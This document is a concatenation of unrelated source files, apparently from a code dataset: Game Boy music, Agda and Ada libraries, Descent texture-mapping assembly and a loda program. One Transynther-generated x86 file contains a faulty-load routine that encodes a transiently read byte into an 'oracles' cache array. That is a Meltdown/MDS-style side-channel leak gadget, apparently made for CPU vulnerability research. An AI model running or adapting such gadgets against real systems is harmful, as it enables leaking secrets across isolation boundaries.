octave 4
note D#, 6
sound_call Music_RivalBattle_Ch2_sub_2
note C_, 4
note C_, 2
volume_envelope 12, 4
note E_, 6
sound_call Music_RivalBattle_Ch2_sub_2
note C_, 2
octave 3
note G_, 2
octave 4
note C_, 2
volume_envelope 12, 4
note E_, 4
.loop
volume_envelope 12, 7
sound_call Music_RivalBattle_Ch2_sub_4
note F_, 14
note F_, 1
note D#, 1
note D_, 16
sound_call Music_RivalBattle_Ch2_sub_4
note G#, 16
note A#, 6
note G#, 4
note G_, 2
note F_, 2
note G#, 2
note G_, 12
note F_, 4
note E_, 16
octave 3
note A#, 4
octave 4
note D_, 4
note F_, 4
note A#, 4
note D_, 4
note F_, 4
note A#, 6
octave 5
note D_, 2
note C_, 14
note C_, 1
octave 4
note G_, 1
note E_, 16
note A#, 4
note F_, 4
note D_, 4
octave 3
note A#, 4
octave 5
note D_, 4
octave 4
note A#, 4
note F_, 4
note D_, 2
note D#, 2
note E_, 14
note E_, 1
note G_, 1
octave 5
note C_, 16
octave 4
note A#, 1
rest 1
note A#, 1
rest 1
note F_, 12
note F_, 1
rest 1
note F_, 1
rest 1
note D_, 8
note D_, 2
note D#, 2
volume_envelope 12, -7
note E_, 16
volume_envelope 12, 7
note E_, 16
note D_, 1
rest 1
note D_, 1
rest 1
note F_, 12
note F_, 1
rest 1
note F_, 1
rest 1
note A#, 8
note A#, 2
note B_, 2
volume_envelope 12, -7
octave 5
note C_, 16
volume_envelope 12, 7
note C_, 16
octave 4
note C_, 8
note E_, 4
note C_, 16
note E_, 4
note C#, 8
note F_, 4
note C#, 16
note F_, 4
note D_, 8
note F#, 4
note D_, 16
note F#, 4
note E_, 8
note G#, 4
note E_, 16
note G#, 4
volume_envelope 12, 2
sound_call Music_RivalBattle_Ch2_sub_0
note F_, 2
sound_call Music_RivalBattle_Ch2_sub_0
note F_, 2
sound_call Music_RivalBattle_Ch2_sub_0
note F_, 2
sound_call Music_RivalBattle_Ch2_sub_0
note F#, 2
note G_, 2
note C_, 4
note C_, 4
note C_, 4
octave 3
note G_, 4
octave 4
note C_, 4
note C_, 4
note C_, 4
note E_, 2
sound_loop 0, .loop
Music_RivalBattle_Ch3_sub_0:
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
sound_ret
Music_RivalBattle_Ch3_sub_1:
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
sound_ret
Music_RivalBattle_Ch3_sub_2:
note B_, 2
octave 2
note B_, 2
octave 3
note B_, 2
octave 2
note B_, 2
octave 3
note B_, 2
octave 2
note B_, 2
octave 3
sound_ret
Music_RivalBattle_Ch3_sub_3:
octave 2
note A#, 1
rest 1
note A#, 1
rest 1
octave 3
note F_, 2
octave 2
note A#, 2
octave 3
note F_, 2
octave 2
note A#, 2
octave 3
note F_, 2
octave 2
note A#, 2
note A#, 1
rest 1
note A#, 1
rest 1
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note A#, 2
octave 3
note A#, 2
octave 2
note B_, 2
octave 3
sound_ret
Music_RivalBattle_Ch3_sub_4:
note F#, 2
octave 4
note C#, 2
octave 3
note F#, 2
octave 4
note F#, 2
octave 3
note F#, 2
octave 4
note F#, 2
octave 3
sound_ret
Music_RivalBattle_Ch3_sub_5:
octave 3
note E_, 2
octave 4
note E_, 2
octave 3
note E_, 2
octave 4
note E_, 2
sound_ret
Music_RivalBattle_Ch3_sub_6:
octave 3
note C#, 2
octave 4
note C#, 2
octave 3
note C#, 2
octave 4
note C#, 2
sound_ret
Music_RivalBattle_Ch3_sub_7:
note D_, 2
octave 4
note D_, 2
octave 3
note D_, 2
octave 4
note D_, 2
octave 3
note D_, 2
octave 4
note D_, 2
octave 3
note D_, 2
octave 4
note D_, 2
sound_ret
Music_RivalBattle_Ch3_sub_8:
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
octave 4
note C_, 2
octave 3
note C_, 2
sound_ret
Music_RivalBattle_Ch3_sub_9:
octave 3
note C_, 2
note G_, 2
octave 4
note C_, 2
note D_, 2
note E_, 2
note C_, 2
octave 3
note G_, 2
note E_, 2
sound_ret
Music_RivalBattle_Ch3::
vibrato 0, 0, 0
note_type 12, 13, 4
octave 4
note G_, 1
note A_, 1
note G_, 1
note A_, 1
note G_, 4
note F#, 1
note G_, 1
note F#, 1
note G_, 1
note F#, 4
octave 3
note F#, 4
note F_, 2
note E_, 2
note D#, 2
note D_, 2
note C#, 2
note C_, 2
octave 2
note B_, 2
octave 3
sound_call Music_RivalBattle_Ch3_sub_2
sound_call Music_RivalBattle_Ch3_sub_2
sound_call Music_RivalBattle_Ch3_sub_2
sound_call Music_RivalBattle_Ch3_sub_2
sound_call Music_RivalBattle_Ch3_sub_2
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
note C_, 2
octave 3
note C_, 2
note C_, 2
octave 4
note C_, 2
octave 3
note B_, 2
note A_, 2
note B_, 2
note G_, 2
.loop
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_1
note A#, 2
octave 2
note G_, 2
octave 3
note G_, 2
octave 2
note G_, 2
octave 3
note G_, 2
octave 2
note G_, 2
octave 3
note G_, 2
octave 2
note G_, 2
octave 3
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
octave 2
note G#, 2
octave 3
note G#, 2
octave 2
note G#, 2
octave 3
note G#, 2
octave 2
note G#, 2
octave 3
note G#, 2
octave 2
note G#, 2
octave 3
note G#, 2
sound_call Music_RivalBattle_Ch3_sub_1
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_8
note A_, 2
sound_call Music_RivalBattle_Ch3_sub_1
note A#, 2
sound_call Music_RivalBattle_Ch3_sub_1
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_1
note A#, 2
sound_call Music_RivalBattle_Ch3_sub_1
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_9
sound_call Music_RivalBattle_Ch3_sub_3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_9
sound_call Music_RivalBattle_Ch3_sub_0
octave 3
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_6
sound_call Music_RivalBattle_Ch3_sub_6
sound_call Music_RivalBattle_Ch3_sub_6
sound_call Music_RivalBattle_Ch3_sub_6
octave 3
sound_call Music_RivalBattle_Ch3_sub_7
octave 3
sound_call Music_RivalBattle_Ch3_sub_7
sound_call Music_RivalBattle_Ch3_sub_5
sound_call Music_RivalBattle_Ch3_sub_5
sound_call Music_RivalBattle_Ch3_sub_5
sound_call Music_RivalBattle_Ch3_sub_5
octave 3
sound_call Music_RivalBattle_Ch3_sub_4
sound_call Music_RivalBattle_Ch3_sub_4
note F#, 2
octave 4
note F#, 2
octave 3
note F#, 2
octave 4
note F#, 2
octave 3
sound_call Music_RivalBattle_Ch3_sub_4
sound_call Music_RivalBattle_Ch3_sub_4
note F#, 2
octave 4
note F#, 2
octave 3
note C_, 2
note B_, 2
sound_call Music_RivalBattle_Ch3_sub_0
sound_call Music_RivalBattle_Ch3_sub_0
sound_loop 0, .loop |
src/Lists.agda | ice1k/Theorems | 1 | 13095 | module Lists where
open import Nats
open import Bools
open import Agda.Builtin.List public
using (List; []; _∷_)
infixr 5 _++_ _∷ʳ_
[_] : ∀ {a} {A : Set a} → A → List A
[ x ] = x ∷ []
_++_ : ∀ {a} {A : Set a} → List A → List A → List A
[] ++ ys = ys
(x ∷ xs) ++ ys = x ∷ (xs ++ ys)
_∷ʳ_ : ∀ {a} {A : Set a} → List A → A → List A
xs ∷ʳ x = xs ++ [ x ]
null : ∀ {a} {A : Set a} → List A → 𝔹
null [] = true
null (x ∷ xs) = false
reverse : ∀ {a} {A : Set a} → List A → List A
reverse [] = []
reverse (x ∷ xs) = reverse xs ∷ʳ x
replicate : ∀ {a} {A : Set a} → (n : ℕ) → A → List A
replicate zero x = []
replicate (suc n) x = x ∷ replicate n x
|
courses/spark_for_ada_programmers/labs/source/150_crossing_the_spark_boundary/crypto.ads | AdaCore/training_material | 15 | 2210 | <reponame>AdaCore/training_material
with Interfaces.C;
package Crypto
with SPARK_Mode
is
subtype Byte is Interfaces.C.unsigned_char;
subtype Key_Slot is Interfaces.C.int range 0 .. 3;
type Key_Index is range 1 .. 128;
type Key is array (Key_Index) of Byte;
type Data_Index is range 1 .. 1024;
type Data is array (Data_Index) of Byte;
end Crypto;
|
texmap/john1.asm | arbruijn/d1dos | 2 | 2631 | <filename>texmap/john1.asm
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
; eax = 0
; ebx = l in fixed 24.8 (really 8.8)
; ecx = (dv << 16) | du (in fixed 8.8)
; edx = free
; esi = ptr to source bitmap ( 64x64 at 256bpr)
; edi = destination ptr
; ebp = dldx (in fixed 24.8) (really 8.8)
; MEM [0..3] = (u<<16) | v (in fixed 8.8)
; Code for 8-bit destination, lighting
REPT 8
mov al, [0] ; get u
mov ah, [2] ; get v
add [0], ecx ; inc u,v
mov al, [esi+eax] ; get source pixel
mov ah, bh ; form lighting lookup value
mov al, FadeTable[eax] ; get lit pixel
mov [edi], al ; write pixel to frame buffer
inc edi ; inc dest
add ebx, ebp ; inc lighting value
ENDM
REPT 8
mov al, [0] ; get u
mov ah, [2] ; get v
add [0], ecx ; inc u,v
mov al, [esi+eax] ; get source pixel
mov ah, bh ; form lighting lookup value
mov ax, FadeTable[eax*2] ; get lit pixel
mov [edi], ax ; write pixel to frame buffer
inc edi ; inc dest
add ebx, ebp ; inc lighting value
ENDM
REPT NUM_ITERATIONS
mov al, [0] ; get u
mov ah, [2] ; get v
add [0], ecx ; inc u,v
mov al, [esi+eax] ; get source pixel
mov [edi+OFFSET], al ; write pixel to frame buffer
ENDM
mov eax,ebp ; clear for
add ebp,edx ; update v coordinate
shr eax,26 ; shift in v coordinate
shld eax,ebx,6 ; shift in u coordinate while shifting up v coordinate
add ebx,ecx ; update u coordinate
mov al,[esi+eax] ; get pixel from source bitmap
mov [edi],al
inc edi ; XPARENT ADDED BY JOHN
; compute v coordinate
mov eax,[_fx_v] ; get v
cdq
idiv ecx ; eax = (v/z)
and eax,3fh ; mask with height-1
mov ebx,eax
; compute u coordinate
mov eax,esi ; get u
cdq
idiv ecx ; eax = (u/z)
shl eax,26
shld ebx,eax,6 ; esi = v*64+u
; read 1 pixel
movzx eax,byte ptr es:[ebx] ; get pixel from source bitmap
cmp _Lighting_on, 0
je NoLight1
; LIGHTING CODE
mov ebx, _fx_l ; get temp copy of lighting value
mov ah, bh ; get lighting level
add ebx, _fx_dl_dx ; update lighting value
mov al, fs:[eax] ; xlat pixel thru lighting tables
mov _fx_l, ebx ; save temp copy of lighting value
; transparency check
NoLight1: cmp al,255
je skip1
mov [edi],al
skip1: inc edi
; update deltas
add ebp,_fx_dv_dx
add esi,_fx_du_dx
add ecx,_fx_dz_dx
je _div_0_abort ; would be dividing by 0, so abort
xchg esi, ebx
dec _loop_count
jns tmap_loop
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2098.asm | ljhsiun2/medusa | 9 | 171657 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x4b0b, %rsi
lea addresses_WT_ht+0x18a1f, %rdi
clflush (%rsi)
nop
nop
nop
add %r8, %r8
mov $46, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_D_ht+0xb56b, %rsi
lea addresses_WC_ht+0x112bb, %rdi
nop
nop
nop
nop
inc %r14
mov $37, %rcx
rep movsw
add $2899, %rcx
lea addresses_WC_ht+0x140b, %rdi
nop
cmp $28580, %r15
movups (%rdi), %xmm7
vpextrq $1, %xmm7, %rcx
nop
nop
nop
nop
nop
xor $4581, %r15
lea addresses_D_ht+0xc90b, %rsi
lea addresses_D_ht+0x8d0b, %rdi
clflush (%rsi)
nop
inc %r15
mov $80, %rcx
rep movsw
nop
nop
nop
and $50468, %rcx
lea addresses_normal_ht+0x16f93, %rbx
nop
add %rcx, %rcx
mov (%rbx), %r15d
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0x510b, %rcx
sub %rdi, %rdi
mov (%rcx), %esi
add $33303, %rsi
lea addresses_UC_ht+0x1968b, %rsi
sub $62703, %rdi
mov $0x6162636465666768, %r15
movq %r15, (%rsi)
nop
nop
nop
dec %rdi
lea addresses_WC_ht+0x558b, %r8
xor %rbx, %rbx
movups (%r8), %xmm5
vpextrq $0, %xmm5, %rdi
nop
nop
nop
nop
nop
and %r8, %r8
lea addresses_D_ht+0x44b, %rsi
nop
nop
nop
dec %rdi
mov (%rsi), %ebx
nop
nop
nop
nop
nop
cmp $60635, %rsi
lea addresses_WC_ht+0x179eb, %rsi
lea addresses_D_ht+0x280b, %rdi
nop
nop
nop
nop
cmp $55684, %rbp
mov $112, %rcx
rep movsl
nop
xor %rcx, %rcx
lea addresses_WT_ht+0xc90b, %r8
clflush (%r8)
cmp $3248, %rsi
movb (%r8), %cl
nop
nop
nop
cmp $15959, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_normal+0xfb8b, %rsi
lea addresses_A+0xdb08, %rdi
nop
nop
nop
inc %r12
mov $82, %rcx
rep movsb
nop
nop
nop
nop
and %rbp, %rbp
// Store
lea addresses_normal+0x1898b, %rdi
nop
nop
nop
nop
nop
xor $19344, %r8
movl $0x51525354, (%rdi)
nop
and %r9, %r9
// Load
lea addresses_PSE+0x1aa8d, %rsi
nop
cmp $23445, %rbp
mov (%rsi), %r9
nop
sub $65409, %r8
// Faulty Load
lea addresses_WT+0x190b, %rcx
nop
nop
nop
nop
nop
xor $63852, %r12
vmovups (%rcx), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rsi
lea oracles, %r9
and $0xff, %rsi
shlq $12, %rsi
mov (%r9,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
unicode-utf8_stream_decoder-codec.ads | annexi-strayline/ASAP-Unicode | 1 | 30124 | ------------------------------------------------------------------------------
-- --
-- Unicode Utilities --
-- UTF-8 Stream Decoder --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2019, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME> (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- Formally verified codec
private package Unicode.UTF8_Stream_Decoder.Codec
with Pure, SPARK_Mode => On
is
pragma Assertion_Policy (Ignore);
pragma Assert (Stream_Element'Modulus = 2**8);
-- Re-assertion for the encompasing package, to help the SPARK tools
subtype Sequence_Index is Stream_Element_Offset range 1 .. 4;
type Sequence_Array is array (Sequence_Index range <>) of Stream_Element;
-- A restricted analogue to Stream_Element_Array which is digestible by the
-- SPARK tools - used internally for the various sequence validation/
-- processing steps.
type Decode_Status is
(Success,
Short_Load, -- Additional bytes required
Bad_Sequence, -- 1. First octet was illegal (RFS3629)
-- 2. First octet was invalid (encoded more than 3
-- continuation bytes
-- 3. Expected continuation bytes were invalid
-- (not in 2#10_000000# .. 2#10_111111)
-- not properly marked as continuation bytes
Overlong, -- An illegal overlong condition was found.
Codepoint_Excursion); -- The encoded sequence is not a legal Unicode
-- codepoint
procedure Try_Decode (Sequence : in Sequence_Array;
Last : out Sequence_Index;
Continuation_Bytes: out Stream_Element_Count;
Result : out Wide_Wide_Character;
Status : out Decode_Status)
with
Inline => True, -- For performance, and since this package is not
-- embedded in the parent package because it SPARK_Mode
-- can only be applied to library-level packages
Global => null,
Post => ((Continuation_Bytes in 0 .. 3)
and then (if Status = Success then
Last = Sequence'First + Continuation_Bytes
and then
(for all Octet of
Sequence(Sequence'First .. Last) =>
Octet not in 16#C0# | 16#C1#
| 16#F5# .. 16#FF#)
-- STD63/RFC3629 Section 1 - Prohibited octets
-- in any UTF-8 text
and then
(case Continuation_Bytes is
when 0 =>
Wide_Wide_Character'Pos (Result)
in 16#000000# .. 16#00007F#,
when 1 =>
Wide_Wide_Character'Pos (Result)
in 16#000080# .. 16#0007FF#,
when 2 =>
Wide_Wide_Character'Pos (Result)
in 16#000800# .. 16#00D7FF#
| 16#00E000# .. 16#00FDCF#
| 16#00FDF0# .. 16#00FFFD#,
-- IETF STD63/RFC3629 Section 3:
-- UTF-16 "surrogate pairs"
-- (U+D800 .. U+DFFF) are prohibited
--
-- Unicode Corrigendum #9 - Noncharacter
-- codepoints:
-- U+FDD0 .. U+FDEF
-- U+nFFFE + U+nFFFF
when 3 =>
Wide_Wide_Character'Pos (Result)
in 16#010000# .. 16#01FFFD#
| 16#020000# .. 16#02FFFD#
| 16#030000# .. 16#03FFFD#
| 16#040000# .. 16#04FFFD#
| 16#050000# .. 16#05FFFD#
| 16#060000# .. 16#06FFFD#
| 16#070000# .. 16#07FFFD#
| 16#080000# .. 16#08FFFD#
| 16#090000# .. 16#09FFFD#
| 16#0A0000# .. 16#0AFFFD#
| 16#0B0000# .. 16#0BFFFD#
| 16#0C0000# .. 16#0CFFFD#
| 16#0D0000# .. 16#0DFFFD#
| 16#0E0000# .. 16#0EFFFD#
| 16#0F0000# .. 16#0FFFFD#
| 16#100000# .. 16#10FFFD#,
-- U+10000 .. U+10FFFF except for:
-- Unicode Corrigendum #9 - Noncharacter
-- codepoints:
-- U+nFFFE + U+nFFFF
when others =>
-- There are no others
False)
elsif Status = Short_Load then
Sequence'Length = 0
or else
Continuation_Bytes in 1 .. 3
else
Result = Unicode_Replacement_Character
and then
(if Sequence'Length > 0 then
Last in Sequence'Range
else
Last = Sequence_Index'First)));
-- Used by the non-spark portions to implement
-- a very efficient two-step process
-- Try_Decode attempts to decode a Character, and indicates the reson for
-- failure if not successful. Indented to be called from full Ada, this
-- procedure carries the full contract of a correct decoding result in the
-- postcondtion which has been fully verified.
--
-- Try_Decode is invoked by the Decode_Next subprograms in the parent
-- package
end Unicode.UTF8_Stream_Decoder.Codec;
|
programs/oeis/126/A126759.asm | neoneye/loda | 22 | 105084 | <reponame>neoneye/loda
; A126759: a(0) = 1; a(2n) = a(n); a(3n) = a(n); otherwise write n = 6i+j, where j = 1 or 5 and set a(n) = 2i+2 if j = 1, otherwise a(n) = 2i+3.
; 1,2,2,2,2,3,2,4,2,2,3,5,2,6,4,3,2,7,2,8,3,4,5,9,2,10,6,2,4,11,3,12,2,5,7,13,2,14,8,6,3,15,4,16,5,3,9,17,2,18,10,7,6,19,2,20,4,8,11,21,3,22,12,4,2,23,5,24,7,9,13,25,2,26,14,10,8,27,6,28,3,2,15,29,4,30,16,11,5,31,3,32,9,12,17,33,2,34,18,5
mov $1,4
lpb $0
dif $0,3
dif $0,2
lpe
add $1,1
add $1,$0
div $1,3
mov $0,$1
|
combinators.agda | heades/AUGL | 0 | 13717 | module combinators where
open import bool
open import bool-thms2
import closures
open import eq
open import list
open import list-thms
open import nat
open import nat-thms
open import product
open import product-thms
open import sum
open import string
open import termination
data comb : Set where
S : comb
K : comb
app : comb → comb → comb
size : comb → ℕ
size S = 1
size K = 1
size (app a b) = suc (size a + size b)
data _↝_ : comb → comb → Set where
↝K : (a b : comb) → (app (app K a) b) ↝ a
↝S : (a b c : comb) → (app (app (app S a) b) c) ↝ (app (app a c) (app b c))
↝Cong1 : {a a' : comb} (b : comb) → a ↝ a' → (app a b) ↝ (app a' b)
↝Cong2 : (a : comb) {b b' : comb} → b ↝ b' → (app a b) ↝ (app a b')
Sfree : comb → 𝔹
Sfree S = ff
Sfree K = tt
Sfree (app a b) = Sfree a && Sfree b
